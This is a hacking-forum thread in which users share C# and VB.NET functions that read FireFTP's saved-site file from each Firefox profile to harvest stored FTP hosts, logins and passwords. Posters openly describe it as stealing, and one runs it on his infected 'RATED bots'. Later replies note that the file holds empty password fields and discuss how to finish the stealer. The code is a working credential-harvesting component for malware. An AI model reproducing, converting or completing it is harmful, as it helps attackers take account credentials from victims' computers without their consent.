

Forum:[Hack Forums](#)

Thread: [\[C#\]& \[VB.NET\] Recover FireFTP Passwords](#)

codepoet - May 1, 2010, 4:23 pm

C#

Code static string FireFTP()

```
{
    //Coded by: Rue
    try
    {
        string APPDATA = Paths.getPath(Paths.CSIDL_APPDATA);
        string PROFILEPATH = APPDATA + "\\Mozilla\\Firefox\\Profiles\\";
        string[] PROFILES = Directory.GetDirectories(PROFILEPATH);
        string accounts = string.Empty;

        foreach (string profile in PROFILES)
        {
            StreamReader sr = new StreamReader(profile + "\\fireFTPsites.dat");
            accounts += sr.ReadToEnd() + "\n\n";
            sr.Close();
        }
        return "-FIREFTP-----\n\n" + accounts + "\n-----";
    }
    catch { return null; }
}
```

originally written by: RuE

Full code

Code [code]public string FireFTPRecovery()

```
{
    string Accounts = null;
    foreach (var Directory in
My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.A
pplicationData) + "\\Mozilla\\Firefox\\Profiles\\")) {
        Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString + "\\fireFTPsites.dat") +
Environment.NewLine;
    }
    return Accounts;
}
```

[/code]

originally written by: Me

VB.NET

(May 1, 2010 06:15 PM)General Dee Wrote: [\[CITE\]](#) Code Function FireFTPRecovery() As String

Dim Accounts As String

For Each Directory In

My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.A
pplicationData) & "\\Mozilla\\Firefox\\Profiles\\")

```
Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPSites.dat")
& Environment.NewLine
Next
Return Accounts
End Function
originally written by: General Dee
```

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0xE9 - May 1, 2010, 5:10 pm
cool ill convert this l8r

codepoet - May 1, 2010, 5:32 pm
cool ill post the vb.net version later on tonight

iRtehLeet™ - May 1, 2010, 6:02 pm
The passwords under APPDATA + \\Mozilla\\Firefox\\Profiles\\xxx\\fireFTPSites.dat just show:
Code password: ""
Any ideas?

Mr Smith - May 1, 2010, 6:15 pm
Can someone try this?

```
Code Function FireFTPRecovery() As String
    Dim Accounts As String
    For Each Directory In
My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.A
pplicationData) & "\\Mozilla\\Firefox\\Profiles\\")
        Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\\fireFTPSites.dat")
& Environment.NewLine
    Next
    Return Accounts
End Function
I don't have FireFTP installed.
```

codepoet - May 1, 2010, 6:21 pm
(May 1, 2010 06:15 PM)General Dee Wrote: [\[CITE\]](#) Can someone try this?

```
Code Function FireFTPRecovery() As String
    Dim Accounts As String
    For Each Directory In
My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.A
pplicationData) & "\\Mozilla\\Firefox\\Profiles\\")
        Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\\fireFTPSites.dat")
& Environment.NewLine
    Next
    Return Accounts
End Function
I don't have FireFTP installed.
```

i hade same results at translating it.....im tring it now on my RATED bots.

iRtehLeet™ - May 1, 2010, 6:50 pm

(May 1, 2010 06:15 PM)General Dee Wrote: [\[CITE\]](#) Can someone try this?

```
Code Function FireFTPRecovery() As String
    Dim Accounts As String
    For Each Directory In
My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.A
pplicationData) & "\Mozilla\Firefox\Profiles\")
        Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat")
    & Environment.NewLine
    Next
    Return Accounts
End Function
```

I don't have FireFTP installed.

I just translated to very similar function as yours, its working perfectly (I have FireFTP installed) but password shows as:

Code password:""

Password is saved somewhere else for sure, this is just stealing ID's and Server Names.

Example:

Code [{account:"Account Name", host:"server.com", port:"1000", login:"user", password:""}]

Su?ernatural - May 1, 2010, 6:54 pm

So it does not steal the passwords?

codepoet - May 1, 2010, 7:42 pm

it steals the passwords but saves it somewhere else so its hard to say the exact location of the password....

needs more work

GoldStar - May 1, 2010, 7:48 pm

not sure about the file location, but i don't call that recovery. at least do some parsing, check if Password<>"" , ect... organize your output.

iRtehLeet™ - May 1, 2010, 8:01 pm

(May 1, 2010 07:42 PM)crow407 Wrote: [\[CITE\]](#) it steals the passwords but saves it somewhere else so its hard to say the exact location of the password....

needs more work

This does not steal the password at all, because the file it is stream reading does not have a password located inside, this is incomplete. ?

Mr Smith - May 1, 2010, 8:19 pm

(May 1, 2010 07:48 PM)Miharbi-DoNo Wrote: [\[CITE\]](#) not sure about the file location, but i don't call that recovery. at least do some parsing, check if Password<>"" , ect... organize your output.

Exactly! I was just converting the C# code. As for the password thingy, I don't really know, one minute it is there, the next, vamoosh and its gone!

codepoet - May 2, 2010, 4:59 pm

(May 1, 2010 08:19 PM)General Dee Wrote: [\[CITE\]](#) Exactly! I was just converting the C# code. As for the password thingy, I don't really know, one minute it is there, the next, vamoosh and its gone! yep same results for me as well...